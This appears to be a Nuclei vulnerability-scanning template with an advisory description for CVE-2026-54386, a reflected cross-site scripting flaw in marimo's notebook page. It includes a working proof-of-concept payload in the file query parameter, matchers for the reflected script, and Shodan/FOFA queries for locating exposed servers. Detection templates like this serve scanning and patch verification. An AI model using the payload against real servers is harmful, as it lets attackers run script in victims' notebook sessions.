marimo before 0.23.9 contains a reflected cross-site scripting vulnerability in the notebook page. The file query parameter is reflected into an inline JavaScript string literal by _inject_service_worker() in marimo/_server/api/endpoints/assets.py without escaping single quotes. A value that starts with __new__ skips the notebook lookup, so a crafted link executes attacker-controlled JavaScript on servers that serve the notebook page without authentication, such as the default marimo run app mode or marimo edit --no-token.
id: CVE-2026-54386
info:
name: marimo < 0.23.9 - Cross-Site Scripting
author: s4e-io
severity: medium
description: |
marimo before 0.23.9 contains a reflected cross-site scripting vulnerability in the notebook page. The file query parameter is reflected into an inline JavaScript string literal by _inject_service_worker() in marimo/_server/api/endpoints/assets.py without escaping single quotes. A value that starts with __new__ skips the notebook lookup, so a crafted link executes attacker-controlled JavaScript on servers that serve the notebook page without authentication, such as the default marimo run app mode or marimo edit --no-token.
impact: |
An attacker can run arbitrary JavaScript in the origin of a victim's marimo server, which can be used to act on notebooks and the kernel with the victim's session.
remediation: |
Upgrade marimo to version 0.23.9 or later.
reference:
- https://github.com/marimo-team/marimo/security/advisories/GHSA-8m59-7xv8-735h
- https://github.com/marimo-team/marimo/pull/9789
- https://github.com/marimo-team/marimo/commit/fdd55c8cf6260ae23bb411dc9d9269def5cf75d6
- https://www.vulncheck.com/advisories/marimo-xss-via-file-query-parameter-in-assets-py
- https://nvd.nist.gov/vuln/detail/CVE-2026-54386
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2026-54386
epss-score: 0.00714
epss-percentile: 0.49442
cwe-id: CWE-79
metadata:
verified: true
max-request: 1
vendor: marimo-team
product: marimo
shodan-query: http.title:"marimo"
fofa-query: title="marimo"
tags: cve,cve2026,marimo,xss,unauth
http:
- method: GET
path:
- "{{BaseURL}}/?file=__new__{{randstr}}%27-alert(document.domain)-%27"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "const notebookId = '__new__{{randstr}}'-alert(document.domain)-'';"
- "<marimo-version"
- "<marimo-filename"
condition: and
- type: word
part: content_type
words:
- "text/html"
- type: status
status:
- 200
# digest: 4b0a004830460221009b834f2902d05acd789d29d4ff30d1bb39121823848ece835082c85058a5263702210095ca4070c1aa44aa2d1599a2219161398d60cccb39d7961eaabb5c84b27e5dcb:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.